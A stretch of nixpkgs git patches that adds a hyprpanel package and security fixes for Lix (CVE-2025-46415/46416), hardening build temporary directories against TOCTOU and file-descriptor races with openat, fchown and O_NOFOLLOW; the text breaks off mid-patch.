+    Signed-off-by: Raito Bezarius <raito@lix.systems>
+
+commit 962c65f8dcd5570dd92c72370a862c7b38942e0d
+Author: Raito Bezarius <raito@lix.systems>
+Date:   Wed Mar 26 01:04:59 2025 +0100
+
+    libstore: open build directory as a dirfd as well
+
+    We now keep around a proper AutoCloseFD around the temporary directory
+    which we plan to use for openat operations and avoiding the build
+    directory being swapped out while we are doing something else.
+
+    Change-Id: I18d387b0f123ebf2d20c6405cd47ebadc5505f2a
+    Signed-off-by: Raito Bezarius <raito@lix.systems>
+
+commit c9b42462b75b5a37ee6564c2b53cff186c8323da
+Author: Raito Bezarius <raito@lix.systems>
+Date:   Wed Mar 26 01:04:12 2025 +0100
+
+    libutil: guess or invent a path from file descriptors
+
+    This is useful for certain error recovery paths (no pun intended) that
+    does not thread through the original path name.
+
+    Change-Id: I2d800740cb4f9912e64c923120d3f977c58ccb7e
+    Signed-off-by: Raito Bezarius <raito@lix.systems>
+
+Signed-off-by: Jörg Thalheim <joerg@thalheim.io>
+---
+ src/libstore/local-store.cc                   |  6 +--
+ .../unix/build/local-derivation-goal.cc       | 46 ++++++++++++++----
+ .../unix/build/local-derivation-goal.hh       | 20 ++++++++
+ src/libutil/file-system.cc                    | 47 +++++++++++--------
+ src/libutil/file-system.hh                    |  8 +++-
+ 5 files changed, 94 insertions(+), 33 deletions(-)
+
+diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc
+index c6e3af456..c5489444e 100644
+--- a/src/libstore/local-store.cc
++++ b/src/libstore/local-store.cc
+@@ -187,7 +187,7 @@ void migrateCASchema(SQLite& db, Path schemaPath, AutoCloseFD& lockFd)
+             txn.commit();
+         }
+ 
+-        writeFile(schemaPath, fmt("%d", nixCASchemaVersion), 0666, true);
++        writeFile(schemaPath, fmt("%d", nixCASchemaVersion), 0666, FsSync::Yes);
+         lockFile(lockFd.get(), ltRead, true);
+     }
+ }
+@@ -345,7 +345,7 @@ LocalStore::LocalStore(
+     else if (curSchema == 0) { /* new store */
+         curSchema = nixSchemaVersion;
+         openDB(*state, true);
+-        writeFile(schemaPath, fmt("%1%", curSchema), 0666, true);
++        writeFile(schemaPath, fmt("%1%", curSchema), 0666, FsSync::Yes);
+     }
+ 
+     else if (curSchema < nixSchemaVersion) {
+@@ -394,7 +394,7 @@ LocalStore::LocalStore(
+             txn.commit();
+         }
+ 
+-        writeFile(schemaPath, fmt("%1%", nixSchemaVersion), 0666, true);
++        writeFile(schemaPath, fmt("%1%", nixSchemaVersion), 0666, FsSync::Yes);
+ 
+         lockFile(globalLock.get(), ltRead, true);
+     }
+diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc
+index f8824e9ce..82c79f361 100644
+--- a/src/libstore/unix/build/local-derivation-goal.cc
++++ b/src/libstore/unix/build/local-derivation-goal.cc
+@@ -526,7 +526,14 @@ void LocalDerivationGoal::startBuilder()
+     } else {
+         tmpDir = topTmpDir;
+     }
+-    chownToBuilder(tmpDir);
++
++    /* The TOCTOU between the previous mkdir call and this open call is unavoidable due to
++       POSIX semantics.*/
++    tmpDirFd = AutoCloseFD{open(tmpDir.c_str(), O_RDONLY | O_NOFOLLOW | O_DIRECTORY)};
++    if (!tmpDirFd)
++        throw SysError("failed to open the build temporary directory descriptor '%1%'", tmpDir);
++
++    chownToBuilder(tmpDirFd.get(), tmpDir);
+ 
+     for (auto & [outputName, status] : initialOutputs) {
+         /* Set scratch path we'll actually use during the build.
+@@ -1110,9 +1117,7 @@ void LocalDerivationGoal::initTmpDir() {
+             } else {
+                 auto hash = hashString(HashAlgorithm::SHA256, i.first);
+                 std::string fn = ".attr-" + hash.to_string(HashFormat::Nix32, false);
+-                Path p = tmpDir + "/" + fn;
+-                writeFile(p, rewriteStrings(i.second, inputRewrites));
+-                chownToBuilder(p);
++                writeBuilderFile(fn, rewriteStrings(i.second, inputRewrites));
+                 env[i.first + "Path"] = tmpDirInSandbox + "/" + fn;
+             }
+         }
+@@ -1217,11 +1222,9 @@ void LocalDerivationGoal::writeStructuredAttrs()
+ 
+         auto jsonSh = writeStructuredAttrsShell(json);
+ 
+-        writeFile(tmpDir + "/.attrs.sh", rewriteStrings(jsonSh, inputRewrites));
+-        chownToBuilder(tmpDir + "/.attrs.sh");
++        writeBuilderFile(".attrs.sh", rewriteStrings(jsonSh, inputRewrites));
+         env["NIX_ATTRS_SH_FILE"] = tmpDirInSandbox + "/.attrs.sh";
+-        writeFile(tmpDir + "/.attrs.json", rewriteStrings(json.dump(), inputRewrites));
+-        chownToBuilder(tmpDir + "/.attrs.json");
++        writeBuilderFile(".attrs.json", rewriteStrings(json.dump(), inputRewrites));
+         env["NIX_ATTRS_JSON_FILE"] = tmpDirInSandbox + "/.attrs.json";
+     }
+ }
+@@ -1730,6 +1733,24 @@ void setupSeccomp()
+ #endif
+ }
+ 
++void LocalDerivationGoal::chownToBuilder(int fd, const Path & path)
++{
++    if (!buildUser) return;
++    if (fchown(fd, buildUser->getUID(), buildUser->getGID()) == -1)
++        throw SysError("cannot change ownership of file '%1%'", path);
++}
++
++void LocalDerivationGoal::writeBuilderFile(
++    const std::string & name,
++    std::string_view contents)
++{
++    auto path = std::filesystem::path(tmpDir) / name;
++    AutoCloseFD fd{openat(tmpDirFd.get(), name.c_str(), O_WRONLY | O_TRUNC | O_CREAT | O_CLOEXEC | O_EXCL | O_NOFOLLOW, 0666)};
++    if (!fd)
++        throw SysError("creating file %s", path);
++    writeFile(fd, path, contents);
++    chownToBuilder(fd.get(), path);
++}
+ 
+ void LocalDerivationGoal::runChild()
+ {
+@@ -3006,6 +3027,15 @@ void LocalDerivationGoal::checkOutputs(const std::map<std::string, ValidPathInfo
+ void LocalDerivationGoal::deleteTmpDir(bool force)
+ {
+     if (topTmpDir != "") {
++        /* As an extra precaution, even in the event of `deletePath` failing to
++         * clean up, the `tmpDir` will be chowned as if we were to move
++         * it inside the Nix store.
++         *
++         * This hardens against an attack which smuggles a file descriptor
++         * to make use of the temporary directory.
++         */
++        chmod(topTmpDir.c_str(), 0000);
++
+         /* Don't keep temporary directories for builtins because they
+            might have privileged stuff (like a copy of netrc). */
+         if (settings.keepFailed && !force && !drv->isBuiltin()) {
+diff --git a/src/libstore/unix/build/local-derivation-goal.hh b/src/libstore/unix/build/local-derivation-goal.hh
+index bf25cf2a6..69c517c4a 100644
+--- a/src/libstore/unix/build/local-derivation-goal.hh
++++ b/src/libstore/unix/build/local-derivation-goal.hh
+@@ -37,6 +37,11 @@ struct LocalDerivationGoal : public DerivationGoal
+      */
+     Path topTmpDir;
+ 
++    /**
++     * The file descriptor of the temporary directory.
++     */
++    AutoCloseFD tmpDirFd;
++
+     /**
+      * The path of the temporary directory in the sandbox.
+      */
+@@ -232,9 +237,24 @@ struct LocalDerivationGoal : public DerivationGoal
+ 
+     /**
+      * Make a file owned by the builder.
++     *
++     * SAFETY: this function is prone to TOCTOU as it receives a path and not a descriptor.
++     * It's only safe to call in a child of a directory only visible to the owner.
+      */
+     void chownToBuilder(const Path & path);
+ 
++    /**
++     * Make a file owned by the builder addressed by its file descriptor.
++     */
++    void chownToBuilder(int fd, const Path & path);
++
++    /**
++     * Create a file in `tmpDir` owned by the builder.
++     */
++    void writeBuilderFile(
++        const std::string & name,
++        std::string_view contents);
++
+     int getChildStatus() override;
+ 
+     /**
+diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc
+index 8ec38e73b..554214d66 100644
+--- a/src/libutil/file-system.cc
++++ b/src/libutil/file-system.cc
+@@ -247,7 +247,7 @@ void readFile(const Path & path, Sink & sink)
+ }
+ 
+ 
+-void writeFile(const Path & path, std::string_view s, mode_t mode, bool sync)
++void writeFile(const Path & path, std::string_view s, mode_t mode, FsSync sync)
+ {
+     AutoCloseFD fd = toDescriptor(open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT
+ // TODO
+@@ -257,22 +257,29 @@ void writeFile(const Path & path, std::string_view s, mode_t mode, bool sync)
+        , mode));
+     if (!fd)
+         throw SysError("opening file '%1%'", path);
++
++    writeFile(fd, path, s, mode, sync);
++
++    /* Close explicitly to propagate the exceptions. */
++    fd.close();
++}
++
++void writeFile(AutoCloseFD & fd, const Path & origPath, std::string_view s, mode_t mode, FsSync sync)
++{
++    assert(fd);
+     try {
+         writeFull(fd.get(), s);
++
++        if (sync == FsSync::Yes)
++            fd.fsync();
++
+     } catch (Error & e) {
+-        e.addTrace({}, "writing file '%1%'", path);
++        e.addTrace({}, "writing file '%1%'", origPath);
+         throw;
+     }
+-    if (sync)
+-        fd.fsync();
+-    // Explicitly close to make sure exceptions are propagated.
+-    fd.close();
+-    if (sync)
+-        syncParent(path);
+ }
+ 
+-
+-void writeFile(const Path & path, Source & source, mode_t mode, bool sync)
++void writeFile(const Path & path, Source & source, mode_t mode, FsSync sync)
+ {
+     AutoCloseFD fd = toDescriptor(open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT
+ // TODO
+@@ -296,11 +303,11 @@ void writeFile(const Path & path, Source & source, mode_t mode, bool sync)
+         e.addTrace({}, "writing file '%1%'", path);
+         throw;
+     }
+-    if (sync)
++    if (sync == FsSync::Yes)
+         fd.fsync();
+     // Explicitly close to make sure exceptions are propagated.
+     fd.close();
+-    if (sync)
++    if (sync == FsSync::Yes)
+         syncParent(path);
+ }
+ 
+@@ -318,7 +325,8 @@ static void _deletePath(Descriptor parentfd, const fs::path & path, uint64_t & b
+ #ifndef _WIN32
+     checkInterrupt();
+ 
+-    std::string name(baseNameOf(path.native()));
++    std::string name(path.filename());
++    assert(name != "." && name != ".." && !name.empty());
+ 
+     struct stat st;
+     if (fstatat(parentfd, name.c_str(), &st,
+@@ -359,7 +367,7 @@ static void _deletePath(Descriptor parentfd, const fs::path & path, uint64_t & b
+                 throw SysError("chmod '%1%'", path);
+         }
+ 
+-        int fd = openat(parentfd, path.c_str(), O_RDONLY);
++        int fd = openat(parentfd, name.c_str(), O_RDONLY | O_DIRECTORY | O_NOFOLLOW);
+         if (fd == -1)
+             throw SysError("opening directory '%1%'", path);
+         AutoCloseDir dir(fdopendir(fd));
+@@ -371,7 +379,7 @@ static void _deletePath(Descriptor parentfd, const fs::path & path, uint64_t & b
+             checkInterrupt();
+             std::string childName = dirent->d_name;
+             if (childName == "." || childName == "..") continue;
+-            _deletePath(dirfd(dir.get()), path + "/" + childName, bytesFreed);
++            _deletePath(dirfd(dir.get()), path / childName, bytesFreed);
+         }
+         if (errno) throw SysError("reading directory '%1%'", path);
+     }
+@@ -389,14 +397,13 @@ static void _deletePath(Descriptor parentfd, const fs::path & path, uint64_t & b
+ 
+ static void _deletePath(const fs::path & path, uint64_t & bytesFreed)
+ {
+-    Path dir = dirOf(path.string());
+-    if (dir == "")
+-        dir = "/";
++    assert(path.is_absolute());
++    assert(path.parent_path() != path);
+ 
+-    AutoCloseFD dirfd = toDescriptor(open(dir.c_str(), O_RDONLY));
++    AutoCloseFD dirfd = toDescriptor(open(path.parent_path().string().c_str(), O_RDONLY));
+     if (!dirfd) {
+         if (errno == ENOENT) return;
+-        throw SysError("opening directory '%1%'", path);
++        throw SysError("opening directory %s", path.parent_path());
+     }
+ 
+     _deletePath(dirfd.get(), path, bytesFreed);
+diff --git a/src/libutil/file-system.hh b/src/libutil/file-system.hh
+index ed1112c7e..32b84456d 100644
+--- a/src/libutil/file-system.hh
++++ b/src/libutil/file-system.hh
+@@ -148,12 +148,16 @@ Descriptor openDirectory(const std::filesystem::path & path);
+ std::string readFile(const Path & path);
+ void readFile(const Path & path, Sink & sink);
+ 
++enum struct FsSync { Yes, No };
++
+ /**
+  * Write a string to a file.
+  */
+-void writeFile(const Path & path, std::string_view s, mode_t mode = 0666, bool sync = false);
++void writeFile(const Path & path, std::string_view s, mode_t mode = 0666, FsSync sync = FsSync::No);
++
++void writeFile(const Path & path, Source & source, mode_t mode = 0666, FsSync sync = FsSync::No);
+ 
+-void writeFile(const Path & path, Source & source, mode_t mode = 0666, bool sync = false);
++void writeFile(AutoCloseFD & fd, const Path & origPath, std::string_view s, mode_t mode = 0666, FsSync sync = FsSync::No);
+ 
+ /**
+  * Flush a file's parent directory to disk
+-- 
+2.44.1
+

From a527b3a9bf81b1b98645c2d3f1d2b8afe89557a6 Mon Sep 17 00:00:00 2001
From: PerchunPak <git@perchun.it>
Date: Fri, 20 Jun 2025 12:25:11 +0200
Subject: [PATCH 1506/4511] hyprpanel: init at 0-unstable-2025-06-20

(cherry picked from commit 0b310d215dacbc03786605ff42cfff9210a21294)
---
 pkgs/by-name/hy/hyprpanel/package.nix | 127 ++++++++++++++++++++++++++
 1 file changed, 127 insertions(+)
 create mode 100644 pkgs/by-name/hy/hyprpanel/package.nix

diff --git a/pkgs/by-name/hy/hyprpanel/package.nix b/pkgs/by-name/hy/hyprpanel/package.nix
new file mode 100644
index 000000000000..2d52a4de3a5a
--- /dev/null
+++ b/pkgs/by-name/hy/hyprpanel/package.nix
@@ -0,0 +1,127 @@
+{
+  lib,
+  config,
+  ags,
+  astal,
+  bluez,
+  bluez-tools,
+  brightnessctl,
+  btop,
+  dart-sass,
+  fetchFromGitHub,
+  glib,
+  glib-networking,
+  gnome-bluetooth,
+  gpu-screen-recorder,
+  gpustat,
+  grimblast,
+  gtksourceview3,
+  gvfs,
+  hyprpicker,
+  libgtop,
+  libnotify,
+  libsoup_3,
+  matugen,
+  networkmanager,
+  nix-update-script,
+  python3,
+  pywal,
+  stdenv,
+  swww,
+  upower,
+  wireplumber,
+  wl-clipboard,
+  writeShellScript,
+
+  enableCuda ? config.cudaSupport,
+}:
+ags.bundle {
+  pname = "hyprpanel";
+  version = "0-unstable-2025-06-20";
+
+  __structuredAttrs = true;
+  strictDeps = true;
+
+  src = fetchFromGitHub {
+    owner = "Jas-SinghFSU";
+    repo = "HyprPanel";
+    rev = "d563cdb1f6499d981901336bd0f86303ab95c4a5";
+    hash = "sha256-oREAoOQeAExqWMkw2r3BJfiaflh7QwHFkp8Qm0qDu6o=";
+  };
+
+  # keep in sync with https://github.com/Jas-SinghFSU/HyprPanel/blob/master/flake.nix#L42
+  dependencies = [
+    astal.apps
+    astal.battery
+    astal.bluetooth
+    astal.cava
+    astal.hyprland
+    astal.mpris
+    astal.network
+    astal.notifd
+    astal.powerprofiles
+    astal.tray
+    astal.wireplumber
+
+    bluez
+    bluez-tools
+    brightnessctl
+    btop
+    dart-sass
+    glib
+    gnome-bluetooth
+    grimblast
+    gtksourceview3
+    gvfs
+    hyprpicker
+    libgtop
+    libnotify
+    libsoup_3
+    matugen
+    networkmanager
+    pywal
+    swww
+    upower
+    wireplumber
+    wl-clipboard
+    (python3.withPackages (
+      ps:
+      with ps;
+      [
+        dbus-python
+        pygobject3
+      ]
+      ++ lib.optional enableCuda gpustat
+    ))
+  ] ++ (lib.optionals (stdenv.hostPlatform.system == "x86_64-linux") [ gpu-screen-recorder ]);
+
+  passthru.updateScript = nix-update-script { extraArgs = [ "--version=branch" ]; };
+
+  postFixup =
+    let
+      script = writeShellScript "hyprpanel" ''
+        export GIO_EXTRA_MODULES='${glib-networking}/lib/gio/modules'
+        if [ "$#" -eq 0 ]; then
+          exec @out@/bin/.hyprpanel
+        else
+          exec ${astal.io}/bin/astal -i hyprpanel "$*"
+        fi
+      '';
+    in
+    # bash
+    ''
+      mv "$out/bin/hyprpanel" "$out/bin/.hyprpanel"
+      cp '${script}' "$out/bin/hyprpanel"
+      substituteInPlace "$out/bin/hyprpanel" \
+        --replace-fail '@out@' "$out"
+    '';
+
+  meta = {
+    description = "Bar/Panel for Hyprland with extensive customizability";
+    homepage = "https://github.com/Jas-SinghFSU/HyprPanel";
+    license = lib.licenses.mit;
+    maintainers = with lib.maintainers; [ perchun ];
+    mainProgram = "hyprpanel";
+    platforms = lib.platforms.linux;
+  };
+}

From a608c12bfb783117c63036e41d3cf07e9b11b388 Mon Sep 17 00:00:00 2001
From: Raito Bezarius <masterancpp@gmail.com>
Date: Tue, 24 Jun 2025 16:23:24 +0200
Subject: [PATCH 1507/4511] lixPackageSets.git: patch for CVE-2025-4641{5,6}

Performs a required bump.
Change-Id: I5990ddd1d7eb16ca5023d4496550d67c4e361bc9
Signed-off-by: Raito Bezarius <masterancpp@gmail.com>
---
 .../package-management/lix/common-lix.nix     |    1 +
 pkgs/tools/package-management/lix/default.nix |    8 +-
 .../LIX_HEAD_CVE-2025-46415_46416.patch       | 2363 +++++++++++++++++
 3 files changed, 2370 insertions(+), 2 deletions(-)
 create mode 100644 pkgs/tools/package-management/lix/patches/LIX_HEAD_CVE-2025-46415_46416.patch

diff --git a/pkgs/tools/package-management/lix/common-lix.nix b/pkgs/tools/package-management/lix/common-lix.nix
index 036acaacc044..077c4617698c 100644
--- a/pkgs/tools/package-management/lix/common-lix.nix
+++ b/pkgs/tools/package-management/lix/common-lix.nix
@@ -140,6 +140,7 @@ stdenv.mkDerivation (finalAttrs: {
         p.pytest
         p.pytest-xdist
         p.python-frontmatter
+        p.toml
       ]))
       pkg-config
       flex
diff --git a/pkgs/tools/package-management/lix/default.nix b/pkgs/tools/package-management/lix/default.nix
index a8c2e6c4422a..d297c52b21f9 100644
--- a/pkgs/tools/package-management/lix/default.nix
+++ b/pkgs/tools/package-management/lix/default.nix
@@ -244,8 +244,8 @@ lib.makeExtensible (self: {
         domain = "git.lix.systems";
         owner = "lix-project";
         repo = "lix";
-        rev = "dcb0a97000d50b2868ed4f8d9fd465c5a5b8eb3a";
-        hash = "sha256-qCRBy8Bbh5XhPalPkhonxNgfsbw3lP0UIXBLSrhxAvI=";
+        rev = "242a228124f77b57c2e3b3aedb259ffb7913cd3c";
+        hash = "sha256-hCbhc9P+UmIlYv81+vs6v3bDqviCUhwPH3XqClZdfSk=";
       };
 
       cargoDeps = rustPlatform.fetchCargoVendor {
@@ -253,6 +253,10 @@ lib.makeExtensible (self: {
         inherit src;
         hash = "sha256-YMyNOXdlx0I30SkcmdW/6DU0BYc3ZOa2FMJSKMkr7I8=";
       };
+
+      patches = [
+        ./patches/LIX_HEAD_CVE-2025-46415_46416.patch
+      ];
     };
   };
 
diff --git a/pkgs/tools/package-management/lix/patches/LIX_HEAD_CVE-2025-46415_46416.patch b/pkgs/tools/package-management/lix/patches/LIX_HEAD_CVE-2025-46415_46416.patch
new file mode 100644
index 000000000000..130aa2e5eaf3
--- /dev/null
+++ b/pkgs/tools/package-management/lix/patches/LIX_HEAD_CVE-2025-46415_46416.patch
@@ -0,0 +1,2363 @@
+From c7976e63a3d93386b2811dba2b92ba452c561696 Mon Sep 17 00:00:00 2001
+From: Raito Bezarius <raito@lix.systems>
+Date: Wed, 26 Mar 2025 01:04:12 +0100
+Subject: [SECURITY FIX 01/12] libutil: guess or invent a path from file
+ descriptors
+
+This is useful for certain error recovery paths (no pun intended) that
+does not thread through the original path name.
+
+Change-Id: I2d800740cb4f9912e64c923120d3f977c58ccb7e
+Signed-off-by: Raito Bezarius <raito@lix.systems>
+---
+ lix/libutil/file-descriptor.cc | 23 ++++++++++
+ lix/libutil/file-descriptor.hh | 18 ++++++++
+ meson.build                    |  5 +++
+ tests/unit/libutil/tests.cc    | 81 ++++++++++++++++++++++++++++++++++
+ 4 files changed, 127 insertions(+)
+
+diff --git a/lix/libutil/file-descriptor.cc b/lix/libutil/file-descriptor.cc
+index 39a4e0bdd..83496b6a6 100644
+--- a/lix/libutil/file-descriptor.cc
++++ b/lix/libutil/file-descriptor.cc
+@@ -155,6 +155,29 @@ int AutoCloseFD::get() const
+     return fd;
+ }
+ 
++std::string guessOrInventPathFromFD(int fd)
++{
++    assert(fd >= 0);
++    /* On Linux, there's no F_GETPATH available.
++     * But we can read /proc/ */
++#if __linux__
++    try {
++        return readLink(fmt("/proc/self/fd/%1%", fd).c_str());
++    } catch (...) {
++    }
++#elif defined (HAVE_F_GETPATH) && HAVE_F_GETPATH
++    std::string fdName(PATH_MAX, '\0');
++    if (fcntl(fd, F_GETPATH, fdName.data()) != -1) {
++        fdName.resize(strlen(fdName.c_str()));
++        return fdName;
++    }
++#else
++#error "No implementation for retrieving file descriptors path."
++#endif
++
++    return fmt("<fd %i>", fd);
++}
++
+ 
+ void AutoCloseFD::close()
+ {
+diff --git a/lix/libutil/file-descriptor.hh b/lix/libutil/file-descriptor.hh
+index 5331751cb..6c1c698fc 100644
+--- a/lix/libutil/file-descriptor.hh
++++ b/lix/libutil/file-descriptor.hh
+@@ -36,6 +36,15 @@ void writeFull(int fd, std::string_view s, bool allowInterrupts = true);
+  */
+ std::string drainFD(int fd, bool block = true, const size_t reserveSize=0);
+ 
++
++/*
++ * Will attempt to guess *A* path associated that might lead to the same file as used by this
++ * file descriptor.
++ *
++ * The returned string should NEVER be used as a valid path.
++ */
++std::string guessOrInventPathFromFD(int fd);
++
+ Generator<Bytes> drainFDSource(int fd, bool block = true);
+ 
+ class AutoCloseFD
+@@ -50,6 +59,15 @@ public:
+     AutoCloseFD& operator =(const AutoCloseFD & fd) = delete;
+     AutoCloseFD& operator =(AutoCloseFD&& fd) noexcept(false);
+     int get() const;
++
++    /*
++     * Will attempt to guess *A* path associated that might lead to the same file as used by this
++     * file descriptor.
++     *
++     * The returned string should NEVER be used as a valid path.
++     */
++    std::string guessOrInventPath() const { return guessOrInventPathFromFD(fd); }
++
+     explicit operator bool() const;
+     int release();
+     void close();
+diff --git a/meson.build b/meson.build
+index f0443bbd1..92b4c05ec 100644
+--- a/meson.build
++++ b/meson.build
+@@ -266,6 +266,11 @@ configdata += {
+   'HAVE_SECCOMP': seccomp.found().to_int(),
+ }
+ 
++# fcntl(F_GETPATH) returns the path of an fd on macOS and BSDs
++configdata += {
++  'HAVE_F_GETPATH': cxx.has_header_symbol('fcntl.h', 'F_GETPATH').to_int(),
++}
++
+ libarchive = dependency('libarchive', required : true, include_type : 'system')
+ 
+ brotli = [
+diff --git a/tests/unit/libutil/tests.cc b/tests/unit/libutil/tests.cc
+index 3b865cb82..263fd7834 100644
+--- a/tests/unit/libutil/tests.cc
++++ b/tests/unit/libutil/tests.cc
+@@ -3,6 +3,8 @@
+ #include "lix/libutil/strings.hh"
+ #include "lix/libutil/types.hh"
+ #include "lix/libutil/terminal.hh"
++#include "lix/libutil/unix-domain-socket.hh"
++#include "tests/test-data.hh"
+ 
+ #include <gtest/gtest.h>
+ 
+@@ -207,6 +209,85 @@ namespace nix {
+         ASSERT_FALSE(pathExists("/schnitzel/darmstadt/pommes"));
+     }
+ 
++    /* ----------------------------------------------------------------------------
++     * AutoCloseFD::guessOrInventPath
++     * --------------------------------------------------------------------------*/
++    void testGuessOrInventPathPrePostDeletion(AutoCloseFD & fd, Path & path) {
++        {
++            SCOPED_TRACE(fmt("guessing path before deletion of '%1%'", path));
++            ASSERT_TRUE(fd);
++            /* We cannot predict what the platform will return here.
++             * But it cannot fail. */
++            ASSERT_TRUE(fd.guessOrInventPath().size() >= 0);
++        }
++        {
++            SCOPED_TRACE(fmt("guessing path after deletion of '%1%'", path));
++            deletePath(path);
++            /* We cannot predict what the platform will return here.
++             * But it cannot fail. */
++            ASSERT_TRUE(fd.guessOrInventPath().size() >= 0);
++        }
++    }
++    TEST(guessOrInventPath, files) {
++        Path filePath = getUnitTestDataPath("guess-or-invent/test.txt");
++        createDirs(dirOf(filePath));
++        writeFile(filePath, "some text");
++        AutoCloseFD file{open(filePath.c_str(), O_RDONLY, 0666)};
++        testGuessOrInventPathPrePostDeletion(file, filePath);
++    }
++
++    TEST(guessOrInventPath, directories) {
++        Path dirPath = getUnitTestDataPath("guess-or-invent/test-dir");
++        createDirs(dirPath);
++        AutoCloseFD directory{open(dirPath.c_str(), O_DIRECTORY, 0666)};
++        testGuessOrInventPathPrePostDeletion(directory, dirPath);
++    }
++
++#ifdef O_PATH
++    TEST(guessOrInventPath, symlinks) {
++        Path symlinkPath = getUnitTestDataPath("guess-or-invent/test-symlink");
++        Path targetPath = getUnitTestDataPath("guess-or-invent/nowhere");
++        createDirs(dirOf(symlinkPath));
++        createSymlink(targetPath, symlinkPath);
++        AutoCloseFD symlink{open(symlinkPath.c_str(), O_PATH | O_NOFOLLOW, 0666)};
++        testGuessOrInventPathPrePostDeletion(symlink, symlinkPath);
++    }
++
++    TEST(guessOrInventPath, fifos) {
++        Path fifoPath = getUnitTestDataPath("guess-or-invent/fifo");
++        createDirs(dirOf(fifoPath));
++        ASSERT_TRUE(mkfifo(fifoPath.c_str(), 0666) == 0);
++        AutoCloseFD fifo{open(fifoPath.c_str(), O_PATH | O_NOFOLLOW, 0666)};
++        testGuessOrInventPathPrePostDeletion(fifo, fifoPath);
++    }
++#endif
++
++    TEST(guessOrInventPath, pipes) {
++        int pipefd[2];
++
++        ASSERT_TRUE(pipe(pipefd) == 0);
++
++        AutoCloseFD pipe_read{pipefd[0]};
++        ASSERT_TRUE(pipe_read);
++        AutoCloseFD pipe_write{pipefd[1]};
++        ASSERT_TRUE(pipe_write);
++
++        /* We cannot predict what the platform will return here.
++         * But it cannot fail. */
++        ASSERT_TRUE(pipe_read.guessOrInventPath().size() >= 0);
++        ASSERT_TRUE(pipe_write.guessOrInventPath().size() >= 0);
++        pipe_write.close();
++        ASSERT_TRUE(pipe_read.guessOrInventPath().size() >= 0);
++        pipe_read.close();
++    }
++
++    TEST(guessOrInventPath, sockets) {
++        Path socketPath = getUnitTestDataPath("guess-or-invent/socket");
++        createDirs(dirOf(socketPath));
++        AutoCloseFD socket = createUnixDomainSocket(socketPath, 0666);
++        testGuessOrInventPathPrePostDeletion(socket, socketPath);
++    }
++
+     /* ----------------------------------------------------------------------------
+      * concatStringsSep
+      * --------------------------------------------------------------------------*/
+-- 
+2.49.0
+
+
+From bcf1f27fec3b18c33e7b76384cebd95b105f9357 Mon Sep 17 00:00:00 2001
+From: Raito Bezarius <raito@lix.systems>
+Date: Wed, 26 Mar 2025 01:04:59 +0100
+Subject: [SECURITY FIX 02/12] libstore: open build directory as a dirfd as
+ well
+
+We now keep around a proper AutoCloseFD around the temporary directory
+which we plan to use for openat operations and avoiding the build
+directory being swapped out while we are doing something else.
+
+Change-Id: I18d387b0f123ebf2d20c6405cd47ebadc5505f2a
+Signed-off-by: Raito Bezarius <raito@lix.systems>
+---
+ lix/libstore/build/local-derivation-goal.cc | 5 +++++
+ lix/libstore/build/local-derivation-goal.hh | 5 +++++
+ 2 files changed, 10 insertions(+)
+
+diff --git a/lix/libstore/build/local-derivation-goal.cc b/lix/libstore/build/local-derivation-goal.cc
+index 5de4fdec5..fc6e925f3 100644
+--- a/lix/libstore/build/local-derivation-goal.cc
++++ b/lix/libstore/build/local-derivation-goal.cc
+@@ -441,6 +441,11 @@ try {
+         false,
+         0700
+     );
++    /* The TOCTOU between the previous mkdir call and this open call is unavoidable due to
++     * POSIX semantics.*/
++    tmpDirFd = AutoCloseFD{open(tmpDir.c_str(), O_RDONLY | O_NOFOLLOW | O_DIRECTORY)};
++    if (!tmpDirFd)
++        throw SysError("failed to open the build temporary directory descriptor '%1%'", tmpDir);
+ 
+     chownToBuilder(tmpDir);
+ 
+diff --git a/lix/libstore/build/local-derivation-goal.hh b/lix/libstore/build/local-derivation-goal.hh
+index ec874ecea..5b9051ede 100644
+--- a/lix/libstore/build/local-derivation-goal.hh
++++ b/lix/libstore/build/local-derivation-goal.hh
+@@ -42,6 +42,11 @@ struct LocalDerivationGoal : public DerivationGoal
+      */
+     Path tmpDir;
+ 
++    /**
++     * The temporary directory file descriptor
++     */
++    AutoCloseFD tmpDirFd;
++
+     /**
+      * The path of the temporary directory in the sandbox.
+      */
+-- 
+2.49.0
+
+
+From 10509774edf5f6cae9a17ff9b656e4fb42c996f8 Mon Sep 17 00:00:00 2001
+From: Raito Bezarius <raito@lix.systems>
+Date: Wed, 26 Mar 2025 01:05:34 +0100
+Subject: [SECURITY FIX 03/12] libstore: chown to builder variant for file
+ descriptors
+
+We use it immediately for the build temporary directory.
+
+Change-Id: I180193c63a2b98721f5fb8e542c4e39c099bb947
+Signed-off-by: Raito Bezarius <raito@lix.systems>
+---
+ lix/libstore/build/local-derivation-goal.cc |  9 ++++++++-
+ lix/libstore/build/local-derivation-goal.hh | 10 +++++++++-
+ 2 files changed, 17 insertions(+), 2 deletions(-)
+
+diff --git a/lix/libstore/build/local-derivation-goal.cc b/lix/libstore/build/local-derivation-goal.cc
+index fc6e925f3..6d93c6841 100644
+--- a/lix/libstore/build/local-derivation-goal.cc
++++ b/lix/libstore/build/local-derivation-goal.cc
+@@ -447,7 +447,7 @@ try {
+     if (!tmpDirFd)
+         throw SysError("failed to open the build temporary directory descriptor '%1%'", tmpDir);
+ 
+-    chownToBuilder(tmpDir);
++    chownToBuilder(tmpDirFd);
+ 
+     for (auto & [outputName, status] : initialOutputs) {
+         /* Set scratch path we'll actually use during the build.
+@@ -931,6 +931,13 @@ void LocalDerivationGoal::chownToBuilder(const Path & path)
+         throw SysError("cannot change ownership of '%1%'", path);
+ }
+ 
++void LocalDerivationGoal::chownToBuilder(const AutoCloseFD & fd)
++{
++    if (!buildUser) return;
++    if (fchown(fd.get(), buildUser->getUID(), buildUser->getGID()) == -1)
++        throw SysError("cannot change ownership of file '%1%'", fd.guessOrInventPath());
++}
++
+ 
+ void LocalDerivationGoal::runChild()
+ {
+diff --git a/lix/libstore/build/local-derivation-goal.hh b/lix/libstore/build/local-derivation-goal.hh
+index 5b9051ede..eb2fe50f3 100644
+--- a/lix/libstore/build/local-derivation-goal.hh
++++ b/lix/libstore/build/local-derivation-goal.hh
+@@ -202,10 +202,18 @@ struct LocalDerivationGoal : public DerivationGoal
+     kj::Promise<Result<void>> writeStructuredAttrs();
+ 
+     /**
+-     * Make a file owned by the builder.
++     * Make a file owned by the builder addressed by its path.
++     *
